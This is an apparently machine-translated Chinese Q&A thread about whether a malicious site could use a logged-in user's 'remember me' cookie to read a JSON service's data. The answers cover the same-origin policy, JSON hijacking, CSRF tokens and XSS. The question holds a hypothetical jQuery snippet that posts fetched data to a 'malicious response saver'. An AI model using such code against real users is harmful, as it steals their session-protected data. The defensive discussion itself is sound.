我们有一个JSON网络服务,我们的某个网页使用它来显示“实时”数据。要访问该页面,用户必须登录。我们担心恶意站点(竞争对手)收集此数据的能力。但是,我不确定我们预期的问题是否合情合理。
用户登录后,我们会在其计算机上存储“记住我”Cookie。如果有人要构建一个向我们的Web服务发出AJAX请求并确信登录用户访问该站点的站点,他们是否能够从我们的服务中检索和存储信息?如果是这样,我们怎样才能保护自己免受这样的侵害呢?
例如:
恶意网站是否可以构建这样的脚本来获取我们的数据:
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
由于他们正在点击我们的JSON Feed,因此不会将cookie发送到我们的网站,并且用户将被验证。由于它们将被验证,它不会发回敏感数据吗?
答案 0 :(得分:1)
如果没有一些尚未修补的浏览器漏洞,您似乎无法解决的问题。
另一个域上的脚本无法向您的域发出AJAX请求。它也不能从您的域中加载页面并“窃取”该信息。
就CSRF而言,您需要关注的是通过GET请求进行的破坏性操作,当然这些操作根本不需要任何脚本。所有这一切当然都假设您的网站不容易受到跨网站脚本的攻击(可以允许某人通过其他人的登录信息'窃取'数据)。
我认为你更有可能遇到“合法”用户的问题,他们会“挖掘”您的数据。这更像是一种商业级别的事情,但除了确保正确的日志记录以识别这种情况之外。
答案 1 :(得分:0)
如果您害怕攻击者能够使用合法用户的会话来检索JSON对象,那么您正在谈论JSON劫持。这取决于你的JSON文件的结构方式,如果这种攻击甚至是可能的。查找“JSON劫持”一词以获取更多信息,或随时留下评论,其中包含有关JSON对象的应用程序的更多详细信息。如果您发现自己很脆弱,添加CSRF令牌将有助于关闭任何JSON劫持攻击。
您还必须确保Web应用程序中没有单个跨站点脚本(XSS)漏洞。如果攻击者可以使用XSS,则通过控制有效用户的浏览器来收集数据相当容易。在这种情况下,CSRF-Tokens毫无用处。